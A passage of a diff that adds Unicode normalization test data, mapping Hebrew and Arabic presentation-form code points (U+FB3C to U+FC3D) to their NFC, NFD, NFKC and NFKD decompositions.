+{ source: [0xFB3C], NFC: [0x05DC, 0x05BC], NFD: [0x05DC, 0x05BC], NFKC: [0x05DC, 0x05BC], NFKD: [0x05DC, 0x05BC] },
+{ source: [0xFB3E], NFC: [0x05DE, 0x05BC], NFD: [0x05DE, 0x05BC], NFKC: [0x05DE, 0x05BC], NFKD: [0x05DE, 0x05BC] },
+{ source: [0xFB40], NFC: [0x05E0, 0x05BC], NFD: [0x05E0, 0x05BC], NFKC: [0x05E0, 0x05BC], NFKD: [0x05E0, 0x05BC] },
+{ source: [0xFB41], NFC: [0x05E1, 0x05BC], NFD: [0x05E1, 0x05BC], NFKC: [0x05E1, 0x05BC], NFKD: [0x05E1, 0x05BC] },
+{ source: [0xFB43], NFC: [0x05E3, 0x05BC], NFD: [0x05E3, 0x05BC], NFKC: [0x05E3, 0x05BC], NFKD: [0x05E3, 0x05BC] },
+{ source: [0xFB44], NFC: [0x05E4, 0x05BC], NFD: [0x05E4, 0x05BC], NFKC: [0x05E4, 0x05BC], NFKD: [0x05E4, 0x05BC] },
+{ source: [0xFB46], NFC: [0x05E6, 0x05BC], NFD: [0x05E6, 0x05BC], NFKC: [0x05E6, 0x05BC], NFKD: [0x05E6, 0x05BC] },
+{ source: [0xFB47], NFC: [0x05E7, 0x05BC], NFD: [0x05E7, 0x05BC], NFKC: [0x05E7, 0x05BC], NFKD: [0x05E7, 0x05BC] },
+{ source: [0xFB48], NFC: [0x05E8, 0x05BC], NFD: [0x05E8, 0x05BC], NFKC: [0x05E8, 0x05BC], NFKD: [0x05E8, 0x05BC] },
+{ source: [0xFB49], NFC: [0x05E9, 0x05BC], NFD: [0x05E9, 0x05BC], NFKC: [0x05E9, 0x05BC], NFKD: [0x05E9, 0x05BC] },
+{ source: [0xFB4A], NFC: [0x05EA, 0x05BC], NFD: [0x05EA, 0x05BC], NFKC: [0x05EA, 0x05BC], NFKD: [0x05EA, 0x05BC] },
+{ source: [0xFB4B], NFC: [0x05D5, 0x05B9], NFD: [0x05D5, 0x05B9], NFKC: [0x05D5, 0x05B9], NFKD: [0x05D5, 0x05B9] },
+{ source: [0xFB4C], NFC: [0x05D1, 0x05BF], NFD: [0x05D1, 0x05BF], NFKC: [0x05D1, 0x05BF], NFKD: [0x05D1, 0x05BF] },
+{ source: [0xFB4D], NFC: [0x05DB, 0x05BF], NFD: [0x05DB, 0x05BF], NFKC: [0x05DB, 0x05BF], NFKD: [0x05DB, 0x05BF] },
+{ source: [0xFB4E], NFC: [0x05E4, 0x05BF], NFD: [0x05E4, 0x05BF], NFKC: [0x05E4, 0x05BF], NFKD: [0x05E4, 0x05BF] },
+{ source: [0xFB4F], NFC: [0xFB4F], NFD: [0xFB4F], NFKC: [0x05D0, 0x05DC], NFKD: [0x05D0, 0x05DC] },
+{ source: [0xFB50], NFC: [0xFB50], NFD: [0xFB50], NFKC: [0x0671], NFKD: [0x0671] },
+{ source: [0xFB51], NFC: [0xFB51], NFD: [0xFB51], NFKC: [0x0671], NFKD: [0x0671] },
+{ source: [0xFB52], NFC: [0xFB52], NFD: [0xFB52], NFKC: [0x067B], NFKD: [0x067B] },
+{ source: [0xFB53], NFC: [0xFB53], NFD: [0xFB53], NFKC: [0x067B], NFKD: [0x067B] },
+{ source: [0xFB54], NFC: [0xFB54], NFD: [0xFB54], NFKC: [0x067B], NFKD: [0x067B] },
+{ source: [0xFB55], NFC: [0xFB55], NFD: [0xFB55], NFKC: [0x067B], NFKD: [0x067B] },
+{ source: [0xFB56], NFC: [0xFB56], NFD: [0xFB56], NFKC: [0x067E], NFKD: [0x067E] },
+{ source: [0xFB57], NFC: [0xFB57], NFD: [0xFB57], NFKC: [0x067E], NFKD: [0x067E] },
+{ source: [0xFB58], NFC: [0xFB58], NFD: [0xFB58], NFKC: [0x067E], NFKD: [0x067E] },
+{ source: [0xFB59], NFC: [0xFB59], NFD: [0xFB59], NFKC: [0x067E], NFKD: [0x067E] },
+{ source: [0xFB5A], NFC: [0xFB5A], NFD: [0xFB5A], NFKC: [0x0680], NFKD: [0x0680] },
+{ source: [0xFB5B], NFC: [0xFB5B], NFD: [0xFB5B], NFKC: [0x0680], NFKD: [0x0680] },
+{ source: [0xFB5C], NFC: [0xFB5C], NFD: [0xFB5C], NFKC: [0x0680], NFKD: [0x0680] },
+{ source: [0xFB5D], NFC: [0xFB5D], NFD: [0xFB5D], NFKC: [0x0680], NFKD: [0x0680] },
+{ source: [0xFB5E], NFC: [0xFB5E], NFD: [0xFB5E], NFKC: [0x067A], NFKD: [0x067A] },
+{ source: [0xFB5F], NFC: [0xFB5F], NFD: [0xFB5F], NFKC: [0x067A], NFKD: [0x067A] },
+{ source: [0xFB60], NFC: [0xFB60], NFD: [0xFB60], NFKC: [0x067A], NFKD: [0x067A] },
+{ source: [0xFB61], NFC: [0xFB61], NFD: [0xFB61], NFKC: [0x067A], NFKD: [0x067A] },
+{ source: [0xFB62], NFC: [0xFB62], NFD: [0xFB62], NFKC: [0x067F], NFKD: [0x067F] },
+{ source: [0xFB63], NFC: [0xFB63], NFD: [0xFB63], NFKC: [0x067F], NFKD: [0x067F] },
+{ source: [0xFB64], NFC: [0xFB64], NFD: [0xFB64], NFKC: [0x067F], NFKD: [0x067F] },
+{ source: [0xFB65], NFC: [0xFB65], NFD: [0xFB65], NFKC: [0x067F], NFKD: [0x067F] },
+{ source: [0xFB66], NFC: [0xFB66], NFD: [0xFB66], NFKC: [0x0679], NFKD: [0x0679] },
+{ source: [0xFB67], NFC: [0xFB67], NFD: [0xFB67], NFKC: [0x0679], NFKD: [0x0679] },
+{ source: [0xFB68], NFC: [0xFB68], NFD: [0xFB68], NFKC: [0x0679], NFKD: [0x0679] },
+{ source: [0xFB69], NFC: [0xFB69], NFD: [0xFB69], NFKC: [0x0679], NFKD: [0x0679] },
+{ source: [0xFB6A], NFC: [0xFB6A], NFD: [0xFB6A], NFKC: [0x06A4], NFKD: [0x06A4] },
+{ source: [0xFB6B], NFC: [0xFB6B], NFD: [0xFB6B], NFKC: [0x06A4], NFKD: [0x06A4] },
+{ source: [0xFB6C], NFC: [0xFB6C], NFD: [0xFB6C], NFKC: [0x06A4], NFKD: [0x06A4] },
+{ source: [0xFB6D], NFC: [0xFB6D], NFD: [0xFB6D], NFKC: [0x06A4], NFKD: [0x06A4] },
+{ source: [0xFB6E], NFC: [0xFB6E], NFD: [0xFB6E], NFKC: [0x06A6], NFKD: [0x06A6] },
+{ source: [0xFB6F], NFC: [0xFB6F], NFD: [0xFB6F], NFKC: [0x06A6], NFKD: [0x06A6] },
+{ source: [0xFB70], NFC: [0xFB70], NFD: [0xFB70], NFKC: [0x06A6], NFKD: [0x06A6] },
+{ source: [0xFB71], NFC: [0xFB71], NFD: [0xFB71], NFKC: [0x06A6], NFKD: [0x06A6] },
+{ source: [0xFB72], NFC: [0xFB72], NFD: [0xFB72], NFKC: [0x0684], NFKD: [0x0684] },
+{ source: [0xFB73], NFC: [0xFB73], NFD: [0xFB73], NFKC: [0x0684], NFKD: [0x0684] },
+{ source: [0xFB74], NFC: [0xFB74], NFD: [0xFB74], NFKC: [0x0684], NFKD: [0x0684] },
+{ source: [0xFB75], NFC: [0xFB75], NFD: [0xFB75], NFKC: [0x0684], NFKD: [0x0684] },
+{ source: [0xFB76], NFC: [0xFB76], NFD: [0xFB76], NFKC: [0x0683], NFKD: [0x0683] },
+{ source: [0xFB77], NFC: [0xFB77], NFD: [0xFB77], NFKC: [0x0683], NFKD: [0x0683] },
+{ source: [0xFB78], NFC: [0xFB78], NFD: [0xFB78], NFKC: [0x0683], NFKD: [0x0683] },
+{ source: [0xFB79], NFC: [0xFB79], NFD: [0xFB79], NFKC: [0x0683], NFKD: [0x0683] },
+{ source: [0xFB7A], NFC: [0xFB7A], NFD: [0xFB7A], NFKC: [0x0686], NFKD: [0x0686] },
+{ source: [0xFB7B], NFC: [0xFB7B], NFD: [0xFB7B], NFKC: [0x0686], NFKD: [0x0686] },
+{ source: [0xFB7C], NFC: [0xFB7C], NFD: [0xFB7C], NFKC: [0x0686], NFKD: [0x0686] },
+{ source: [0xFB7D], NFC: [0xFB7D], NFD: [0xFB7D], NFKC: [0x0686], NFKD: [0x0686] },
+{ source: [0xFB7E], NFC: [0xFB7E], NFD: [0xFB7E], NFKC: [0x0687], NFKD: [0x0687] },
+{ source: [0xFB7F], NFC: [0xFB7F], NFD: [0xFB7F], NFKC: [0x0687], NFKD: [0x0687] },
+{ source: [0xFB80], NFC: [0xFB80], NFD: [0xFB80], NFKC: [0x0687], NFKD: [0x0687] },
+{ source: [0xFB81], NFC: [0xFB81], NFD: [0xFB81], NFKC: [0x0687], NFKD: [0x0687] },
+{ source: [0xFB82], NFC: [0xFB82], NFD: [0xFB82], NFKC: [0x068D], NFKD: [0x068D] },
+{ source: [0xFB83], NFC: [0xFB83], NFD: [0xFB83], NFKC: [0x068D], NFKD: [0x068D] },
+{ source: [0xFB84], NFC: [0xFB84], NFD: [0xFB84], NFKC: [0x068C], NFKD: [0x068C] },
+{ source: [0xFB85], NFC: [0xFB85], NFD: [0xFB85], NFKC: [0x068C], NFKD: [0x068C] },
+{ source: [0xFB86], NFC: [0xFB86], NFD: [0xFB86], NFKC: [0x068E], NFKD: [0x068E] },
+{ source: [0xFB87], NFC: [0xFB87], NFD: [0xFB87], NFKC: [0x068E], NFKD: [0x068E] },
+{ source: [0xFB88], NFC: [0xFB88], NFD: [0xFB88], NFKC: [0x0688], NFKD: [0x0688] },
+{ source: [0xFB89], NFC: [0xFB89], NFD: [0xFB89], NFKC: [0x0688], NFKD: [0x0688] },
+{ source: [0xFB8A], NFC: [0xFB8A], NFD: [0xFB8A], NFKC: [0x0698], NFKD: [0x0698] },
+{ source: [0xFB8B], NFC: [0xFB8B], NFD: [0xFB8B], NFKC: [0x0698], NFKD: [0x0698] },
+{ source: [0xFB8C], NFC: [0xFB8C], NFD: [0xFB8C], NFKC: [0x0691], NFKD: [0x0691] },
+{ source: [0xFB8D], NFC: [0xFB8D], NFD: [0xFB8D], NFKC: [0x0691], NFKD: [0x0691] },
+{ source: [0xFB8E], NFC: [0xFB8E], NFD: [0xFB8E], NFKC: [0x06A9], NFKD: [0x06A9] },
+{ source: [0xFB8F], NFC: [0xFB8F], NFD: [0xFB8F], NFKC: [0x06A9], NFKD: [0x06A9] },
+{ source: [0xFB90], NFC: [0xFB90], NFD: [0xFB90], NFKC: [0x06A9], NFKD: [0x06A9] },
+{ source: [0xFB91], NFC: [0xFB91], NFD: [0xFB91], NFKC: [0x06A9], NFKD: [0x06A9] },
+{ source: [0xFB92], NFC: [0xFB92], NFD: [0xFB92], NFKC: [0x06AF], NFKD: [0x06AF] },
+{ source: [0xFB93], NFC: [0xFB93], NFD: [0xFB93], NFKC: [0x06AF], NFKD: [0x06AF] },
+{ source: [0xFB94], NFC: [0xFB94], NFD: [0xFB94], NFKC: [0x06AF], NFKD: [0x06AF] },
+{ source: [0xFB95], NFC: [0xFB95], NFD: [0xFB95], NFKC: [0x06AF], NFKD: [0x06AF] },
+{ source: [0xFB96], NFC: [0xFB96], NFD: [0xFB96], NFKC: [0x06B3], NFKD: [0x06B3] },
+{ source: [0xFB97], NFC: [0xFB97], NFD: [0xFB97], NFKC: [0x06B3], NFKD: [0x06B3] },
+{ source: [0xFB98], NFC: [0xFB98], NFD: [0xFB98], NFKC: [0x06B3], NFKD: [0x06B3] },
+{ source: [0xFB99], NFC: [0xFB99], NFD: [0xFB99], NFKC: [0x06B3], NFKD: [0x06B3] },
+{ source: [0xFB9A], NFC: [0xFB9A], NFD: [0xFB9A], NFKC: [0x06B1], NFKD: [0x06B1] },
+{ source: [0xFB9B], NFC: [0xFB9B], NFD: [0xFB9B], NFKC: [0x06B1], NFKD: [0x06B1] },
+{ source: [0xFB9C], NFC: [0xFB9C], NFD: [0xFB9C], NFKC: [0x06B1], NFKD: [0x06B1] },
+{ source: [0xFB9D], NFC: [0xFB9D], NFD: [0xFB9D], NFKC: [0x06B1], NFKD: [0x06B1] },
+{ source: [0xFB9E], NFC: [0xFB9E], NFD: [0xFB9E], NFKC: [0x06BA], NFKD: [0x06BA] },
+{ source: [0xFB9F], NFC: [0xFB9F], NFD: [0xFB9F], NFKC: [0x06BA], NFKD: [0x06BA] },
+{ source: [0xFBA0], NFC: [0xFBA0], NFD: [0xFBA0], NFKC: [0x06BB], NFKD: [0x06BB] },
+{ source: [0xFBA1], NFC: [0xFBA1], NFD: [0xFBA1], NFKC: [0x06BB], NFKD: [0x06BB] },
+{ source: [0xFBA2], NFC: [0xFBA2], NFD: [0xFBA2], NFKC: [0x06BB], NFKD: [0x06BB] },
+{ source: [0xFBA3], NFC: [0xFBA3], NFD: [0xFBA3], NFKC: [0x06BB], NFKD: [0x06BB] },
+{ source: [0xFBA4], NFC: [0xFBA4], NFD: [0xFBA4], NFKC: [0x06C0], NFKD: [0x06D5, 0x0654] },
+{ source: [0xFBA5], NFC: [0xFBA5], NFD: [0xFBA5], NFKC: [0x06C0], NFKD: [0x06D5, 0x0654] },
+{ source: [0xFBA6], NFC: [0xFBA6], NFD: [0xFBA6], NFKC: [0x06C1], NFKD: [0x06C1] },
+{ source: [0xFBA7], NFC: [0xFBA7], NFD: [0xFBA7], NFKC: [0x06C1], NFKD: [0x06C1] },
+{ source: [0xFBA8], NFC: [0xFBA8], NFD: [0xFBA8], NFKC: [0x06C1], NFKD: [0x06C1] },
+{ source: [0xFBA9], NFC: [0xFBA9], NFD: [0xFBA9], NFKC: [0x06C1], NFKD: [0x06C1] },
+{ source: [0xFBAA], NFC: [0xFBAA], NFD: [0xFBAA], NFKC: [0x06BE], NFKD: [0x06BE] },
+{ source: [0xFBAB], NFC: [0xFBAB], NFD: [0xFBAB], NFKC: [0x06BE], NFKD: [0x06BE] },
+{ source: [0xFBAC], NFC: [0xFBAC], NFD: [0xFBAC], NFKC: [0x06BE], NFKD: [0x06BE] },
+{ source: [0xFBAD], NFC: [0xFBAD], NFD: [0xFBAD], NFKC: [0x06BE], NFKD: [0x06BE] },
+{ source: [0xFBAE], NFC: [0xFBAE], NFD: [0xFBAE], NFKC: [0x06D2], NFKD: [0x06D2] },
+{ source: [0xFBAF], NFC: [0xFBAF], NFD: [0xFBAF], NFKC: [0x06D2], NFKD: [0x06D2] },
+{ source: [0xFBB0], NFC: [0xFBB0], NFD: [0xFBB0], NFKC: [0x06D3], NFKD: [0x06D2, 0x0654] },
+{ source: [0xFBB1], NFC: [0xFBB1], NFD: [0xFBB1], NFKC: [0x06D3], NFKD: [0x06D2, 0x0654] },
+{ source: [0xFBD3], NFC: [0xFBD3], NFD: [0xFBD3], NFKC: [0x06AD], NFKD: [0x06AD] },
+{ source: [0xFBD4], NFC: [0xFBD4], NFD: [0xFBD4], NFKC: [0x06AD], NFKD: [0x06AD] },
+{ source: [0xFBD5], NFC: [0xFBD5], NFD: [0xFBD5], NFKC: [0x06AD], NFKD: [0x06AD] },
+{ source: [0xFBD6], NFC: [0xFBD6], NFD: [0xFBD6], NFKC: [0x06AD], NFKD: [0x06AD] },
+{ source: [0xFBD7], NFC: [0xFBD7], NFD: [0xFBD7], NFKC: [0x06C7], NFKD: [0x06C7] },
+{ source: [0xFBD8], NFC: [0xFBD8], NFD: [0xFBD8], NFKC: [0x06C7], NFKD: [0x06C7] },
+{ source: [0xFBD9], NFC: [0xFBD9], NFD: [0xFBD9], NFKC: [0x06C6], NFKD: [0x06C6] },
+{ source: [0xFBDA], NFC: [0xFBDA], NFD: [0xFBDA], NFKC: [0x06C6], NFKD: [0x06C6] },
+{ source: [0xFBDB], NFC: [0xFBDB], NFD: [0xFBDB], NFKC: [0x06C8], NFKD: [0x06C8] },
+{ source: [0xFBDC], NFC: [0xFBDC], NFD: [0xFBDC], NFKC: [0x06C8], NFKD: [0x06C8] },
+{ source: [0xFBDD], NFC: [0xFBDD], NFD: [0xFBDD], NFKC: [0x06C7, 0x0674], NFKD: [0x06C7, 0x0674] },
+{ source: [0xFBDE], NFC: [0xFBDE], NFD: [0xFBDE], NFKC: [0x06CB], NFKD: [0x06CB] },
+{ source: [0xFBDF], NFC: [0xFBDF], NFD: [0xFBDF], NFKC: [0x06CB], NFKD: [0x06CB] },
+{ source: [0xFBE0], NFC: [0xFBE0], NFD: [0xFBE0], NFKC: [0x06C5], NFKD: [0x06C5] },
+{ source: [0xFBE1], NFC: [0xFBE1], NFD: [0xFBE1], NFKC: [0x06C5], NFKD: [0x06C5] },
+{ source: [0xFBE2], NFC: [0xFBE2], NFD: [0xFBE2], NFKC: [0x06C9], NFKD: [0x06C9] },
+{ source: [0xFBE3], NFC: [0xFBE3], NFD: [0xFBE3], NFKC: [0x06C9], NFKD: [0x06C9] },
+{ source: [0xFBE4], NFC: [0xFBE4], NFD: [0xFBE4], NFKC: [0x06D0], NFKD: [0x06D0] },
+{ source: [0xFBE5], NFC: [0xFBE5], NFD: [0xFBE5], NFKC: [0x06D0], NFKD: [0x06D0] },
+{ source: [0xFBE6], NFC: [0xFBE6], NFD: [0xFBE6], NFKC: [0x06D0], NFKD: [0x06D0] },
+{ source: [0xFBE7], NFC: [0xFBE7], NFD: [0xFBE7], NFKC: [0x06D0], NFKD: [0x06D0] },
+{ source: [0xFBE8], NFC: [0xFBE8], NFD: [0xFBE8], NFKC: [0x0649], NFKD: [0x0649] },
+{ source: [0xFBE9], NFC: [0xFBE9], NFD: [0xFBE9], NFKC: [0x0649], NFKD: [0x0649] },
+{ source: [0xFBEA], NFC: [0xFBEA], NFD: [0xFBEA], NFKC: [0x0626, 0x0627], NFKD: [0x064A, 0x0654, 0x0627] },
+{ source: [0xFBEB], NFC: [0xFBEB], NFD: [0xFBEB], NFKC: [0x0626, 0x0627], NFKD: [0x064A, 0x0654, 0x0627] },
+{ source: [0xFBEC], NFC: [0xFBEC], NFD: [0xFBEC], NFKC: [0x0626, 0x06D5], NFKD: [0x064A, 0x0654, 0x06D5] },
+{ source: [0xFBED], NFC: [0xFBED], NFD: [0xFBED], NFKC: [0x0626, 0x06D5], NFKD: [0x064A, 0x0654, 0x06D5] },
+{ source: [0xFBEE], NFC: [0xFBEE], NFD: [0xFBEE], NFKC: [0x0626, 0x0648], NFKD: [0x064A, 0x0654, 0x0648] },
+{ source: [0xFBEF], NFC: [0xFBEF], NFD: [0xFBEF], NFKC: [0x0626, 0x0648], NFKD: [0x064A, 0x0654, 0x0648] },
+{ source: [0xFBF0], NFC: [0xFBF0], NFD: [0xFBF0], NFKC: [0x0626, 0x06C7], NFKD: [0x064A, 0x0654, 0x06C7] },
+{ source: [0xFBF1], NFC: [0xFBF1], NFD: [0xFBF1], NFKC: [0x0626, 0x06C7], NFKD: [0x064A, 0x0654, 0x06C7] },
+{ source: [0xFBF2], NFC: [0xFBF2], NFD: [0xFBF2], NFKC: [0x0626, 0x06C6], NFKD: [0x064A, 0x0654, 0x06C6] },
+{ source: [0xFBF3], NFC: [0xFBF3], NFD: [0xFBF3], NFKC: [0x0626, 0x06C6], NFKD: [0x064A, 0x0654, 0x06C6] },
+{ source: [0xFBF4], NFC: [0xFBF4], NFD: [0xFBF4], NFKC: [0x0626, 0x06C8], NFKD: [0x064A, 0x0654, 0x06C8] },
+{ source: [0xFBF5], NFC: [0xFBF5], NFD: [0xFBF5], NFKC: [0x0626, 0x06C8], NFKD: [0x064A, 0x0654, 0x06C8] },
+{ source: [0xFBF6], NFC: [0xFBF6], NFD: [0xFBF6], NFKC: [0x0626, 0x06D0], NFKD: [0x064A, 0x0654, 0x06D0] },
+{ source: [0xFBF7], NFC: [0xFBF7], NFD: [0xFBF7], NFKC: [0x0626, 0x06D0], NFKD: [0x064A, 0x0654, 0x06D0] },
+{ source: [0xFBF8], NFC: [0xFBF8], NFD: [0xFBF8], NFKC: [0x0626, 0x06D0], NFKD: [0x064A, 0x0654, 0x06D0] },
+{ source: [0xFBF9], NFC: [0xFBF9], NFD: [0xFBF9], NFKC: [0x0626, 0x0649], NFKD: [0x064A, 0x0654, 0x0649] },
+{ source: [0xFBFA], NFC: [0xFBFA], NFD: [0xFBFA], NFKC: [0x0626, 0x0649], NFKD: [0x064A, 0x0654, 0x0649] },
+{ source: [0xFBFB], NFC: [0xFBFB], NFD: [0xFBFB], NFKC: [0x0626, 0x0649], NFKD: [0x064A, 0x0654, 0x0649] },
+{ source: [0xFBFC], NFC: [0xFBFC], NFD: [0xFBFC], NFKC: [0x06CC], NFKD: [0x06CC] },
+{ source: [0xFBFD], NFC: [0xFBFD], NFD: [0xFBFD], NFKC: [0x06CC], NFKD: [0x06CC] },
+{ source: [0xFBFE], NFC: [0xFBFE], NFD: [0xFBFE], NFKC: [0x06CC], NFKD: [0x06CC] },
+{ source: [0xFBFF], NFC: [0xFBFF], NFD: [0xFBFF], NFKC: [0x06CC], NFKD: [0x06CC] },
+{ source: [0xFC00], NFC: [0xFC00], NFD: [0xFC00], NFKC: [0x0626, 0x062C], NFKD: [0x064A, 0x0654, 0x062C] },
+{ source: [0xFC01], NFC: [0xFC01], NFD: [0xFC01], NFKC: [0x0626, 0x062D], NFKD: [0x064A, 0x0654, 0x062D] },
+{ source: [0xFC02], NFC: [0xFC02], NFD: [0xFC02], NFKC: [0x0626, 0x0645], NFKD: [0x064A, 0x0654, 0x0645] },
+{ source: [0xFC03], NFC: [0xFC03], NFD: [0xFC03], NFKC: [0x0626, 0x0649], NFKD: [0x064A, 0x0654, 0x0649] },
+{ source: [0xFC04], NFC: [0xFC04], NFD: [0xFC04], NFKC: [0x0626, 0x064A], NFKD: [0x064A, 0x0654, 0x064A] },
+{ source: [0xFC05], NFC: [0xFC05], NFD: [0xFC05], NFKC: [0x0628, 0x062C], NFKD: [0x0628, 0x062C] },
+{ source: [0xFC06], NFC: [0xFC06], NFD: [0xFC06], NFKC: [0x0628, 0x062D], NFKD: [0x0628, 0x062D] },
+{ source: [0xFC07], NFC: [0xFC07], NFD: [0xFC07], NFKC: [0x0628, 0x062E], NFKD: [0x0628, 0x062E] },
+{ source: [0xFC08], NFC: [0xFC08], NFD: [0xFC08], NFKC: [0x0628, 0x0645], NFKD: [0x0628, 0x0645] },
+{ source: [0xFC09], NFC: [0xFC09], NFD: [0xFC09], NFKC: [0x0628, 0x0649], NFKD: [0x0628, 0x0649] },
+{ source: [0xFC0A], NFC: [0xFC0A], NFD: [0xFC0A], NFKC: [0x0628, 0x064A], NFKD: [0x0628, 0x064A] },
+{ source: [0xFC0B], NFC: [0xFC0B], NFD: [0xFC0B], NFKC: [0x062A, 0x062C], NFKD: [0x062A, 0x062C] },
+{ source: [0xFC0C], NFC: [0xFC0C], NFD: [0xFC0C], NFKC: [0x062A, 0x062D], NFKD: [0x062A, 0x062D] },
+{ source: [0xFC0D], NFC: [0xFC0D], NFD: [0xFC0D], NFKC: [0x062A, 0x062E], NFKD: [0x062A, 0x062E] },
+{ source: [0xFC0E], NFC: [0xFC0E], NFD: [0xFC0E], NFKC: [0x062A, 0x0645], NFKD: [0x062A, 0x0645] },
+{ source: [0xFC0F], NFC: [0xFC0F], NFD: [0xFC0F], NFKC: [0x062A, 0x0649], NFKD: [0x062A, 0x0649] },
+{ source: [0xFC10], NFC: [0xFC10], NFD: [0xFC10], NFKC: [0x062A, 0x064A], NFKD: [0x062A, 0x064A] },
+{ source: [0xFC11], NFC: [0xFC11], NFD: [0xFC11], NFKC: [0x062B, 0x062C], NFKD: [0x062B, 0x062C] },
+{ source: [0xFC12], NFC: [0xFC12], NFD: [0xFC12], NFKC: [0x062B, 0x0645], NFKD: [0x062B, 0x0645] },
+{ source: [0xFC13], NFC: [0xFC13], NFD: [0xFC13], NFKC: [0x062B, 0x0649], NFKD: [0x062B, 0x0649] },
+{ source: [0xFC14], NFC: [0xFC14], NFD: [0xFC14], NFKC: [0x062B, 0x064A], NFKD: [0x062B, 0x064A] },
+{ source: [0xFC15], NFC: [0xFC15], NFD: [0xFC15], NFKC: [0x062C, 0x062D], NFKD: [0x062C, 0x062D] },
+{ source: [0xFC16], NFC: [0xFC16], NFD: [0xFC16], NFKC: [0x062C, 0x0645], NFKD: [0x062C, 0x0645] },
+{ source: [0xFC17], NFC: [0xFC17], NFD: [0xFC17], NFKC: [0x062D, 0x062C], NFKD: [0x062D, 0x062C] },
+{ source: [0xFC18], NFC: [0xFC18], NFD: [0xFC18], NFKC: [0x062D, 0x0645], NFKD: [0x062D, 0x0645] },
+{ source: [0xFC19], NFC: [0xFC19], NFD: [0xFC19], NFKC: [0x062E, 0x062C], NFKD: [0x062E, 0x062C] },
+{ source: [0xFC1A], NFC: [0xFC1A], NFD: [0xFC1A], NFKC: [0x062E, 0x062D], NFKD: [0x062E, 0x062D] },
+{ source: [0xFC1B], NFC: [0xFC1B], NFD: [0xFC1B], NFKC: [0x062E, 0x0645], NFKD: [0x062E, 0x0645] },
+{ source: [0xFC1C], NFC: [0xFC1C], NFD: [0xFC1C], NFKC: [0x0633, 0x062C], NFKD: [0x0633, 0x062C] },
+{ source: [0xFC1D], NFC: [0xFC1D], NFD: [0xFC1D], NFKC: [0x0633, 0x062D], NFKD: [0x0633, 0x062D] },
+{ source: [0xFC1E], NFC: [0xFC1E], NFD: [0xFC1E], NFKC: [0x0633, 0x062E], NFKD: [0x0633, 0x062E] },
+{ source: [0xFC1F], NFC: [0xFC1F], NFD: [0xFC1F], NFKC: [0x0633, 0x0645], NFKD: [0x0633, 0x0645] },
+{ source: [0xFC20], NFC: [0xFC20], NFD: [0xFC20], NFKC: [0x0635, 0x062D], NFKD: [0x0635, 0x062D] },
+{ source: [0xFC21], NFC: [0xFC21], NFD: [0xFC21], NFKC: [0x0635, 0x0645], NFKD: [0x0635, 0x0645] },
+{ source: [0xFC22], NFC: [0xFC22], NFD: [0xFC22], NFKC: [0x0636, 0x062C], NFKD: [0x0636, 0x062C] },
+{ source: [0xFC23], NFC: [0xFC23], NFD: [0xFC23], NFKC: [0x0636, 0x062D], NFKD: [0x0636, 0x062D] },
+{ source: [0xFC24], NFC: [0xFC24], NFD: [0xFC24], NFKC: [0x0636, 0x062E], NFKD: [0x0636, 0x062E] },
+{ source: [0xFC25], NFC: [0xFC25], NFD: [0xFC25], NFKC: [0x0636, 0x0645], NFKD: [0x0636, 0x0645] },
+{ source: [0xFC26], NFC: [0xFC26], NFD: [0xFC26], NFKC: [0x0637, 0x062D], NFKD: [0x0637, 0x062D] },
+{ source: [0xFC27], NFC: [0xFC27], NFD: [0xFC27], NFKC: [0x0637, 0x0645], NFKD: [0x0637, 0x0645] },
+{ source: [0xFC28], NFC: [0xFC28], NFD: [0xFC28], NFKC: [0x0638, 0x0645], NFKD: [0x0638, 0x0645] },
+{ source: [0xFC29], NFC: [0xFC29], NFD: [0xFC29], NFKC: [0x0639, 0x062C], NFKD: [0x0639, 0x062C] },
+{ source: [0xFC2A], NFC: [0xFC2A], NFD: [0xFC2A], NFKC: [0x0639, 0x0645], NFKD: [0x0639, 0x0645] },
+{ source: [0xFC2B], NFC: [0xFC2B], NFD: [0xFC2B], NFKC: [0x063A, 0x062C], NFKD: [0x063A, 0x062C] },
+{ source: [0xFC2C], NFC: [0xFC2C], NFD: [0xFC2C], NFKC: [0x063A, 0x0645], NFKD: [0x063A, 0x0645] },
+{ source: [0xFC2D], NFC: [0xFC2D], NFD: [0xFC2D], NFKC: [0x0641, 0x062C], NFKD: [0x0641, 0x062C] },
+{ source: [0xFC2E], NFC: [0xFC2E], NFD: [0xFC2E], NFKC: [0x0641, 0x062D], NFKD: [0x0641, 0x062D] },
+{ source: [0xFC2F], NFC: [0xFC2F], NFD: [0xFC2F], NFKC: [0x0641, 0x062E], NFKD: [0x0641, 0x062E] },
+{ source: [0xFC30], NFC: [0xFC30], NFD: [0xFC30], NFKC: [0x0641, 0x0645], NFKD: [0x0641, 0x0645] },
+{ source: [0xFC31], NFC: [0xFC31], NFD: [0xFC31], NFKC: [0x0641, 0x0649], NFKD: [0x0641, 0x0649] },
+{ source: [0xFC32], NFC: [0xFC32], NFD: [0xFC32], NFKC: [0x0641, 0x064A], NFKD: [0x0641, 0x064A] },
+{ source: [0xFC33], NFC: [0xFC33], NFD: [0xFC33], NFKC: [0x0642, 0x062D], NFKD: [0x0642, 0x062D] },
+{ source: [0xFC34], NFC: [0xFC34], NFD: [0xFC34], NFKC: [0x0642, 0x0645], NFKD: [0x0642, 0x0645] },
+{ source: [0xFC35], NFC: [0xFC35], NFD: [0xFC35], NFKC: [0x0642, 0x0649], NFKD: [0x0642, 0x0649] },
+{ source: [0xFC36], NFC: [0xFC36], NFD: [0xFC36], NFKC: [0x0642, 0x064A], NFKD: [0x0642, 0x064A] },
+{ source: [0xFC37], NFC: [0xFC37], NFD: [0xFC37], NFKC: [0x0643, 0x0627], NFKD: [0x0643, 0x0627] },
+{ source: [0xFC38], NFC: [0xFC38], NFD: [0xFC38], NFKC: [0x0643, 0x062C], NFKD: [0x0643, 0x062C] },
+{ source: [0xFC39], NFC: [0xFC39], NFD: [0xFC39], NFKC: [0x0643, 0x062D], NFKD: [0x0643, 0x062D] },
+{ source: [0xFC3A], NFC: [0xFC3A], NFD: [0xFC3A], NFKC: [0x0643, 0x062E], NFKD: [0x0643, 0x062E] },
+{ source: [0xFC3B], NFC: [0xFC3B], NFD: [0xFC3B], NFKC: [0x0643, 0x0644], NFKD: [0x0643, 0x0644] },
+{ source: [0xFC3C], NFC: [0xFC3C], NFD: [0xFC3C], NFKC: [0x0643, 0x0645], NFKD: [0x0643, 0x0645] },
+{ source: [0xFC3D], NFC: [0xFC3D], NFD: [0xFC3D], NFKC: [0x0643, 0x0649], NFKD: [0x0643, 0x0649] },
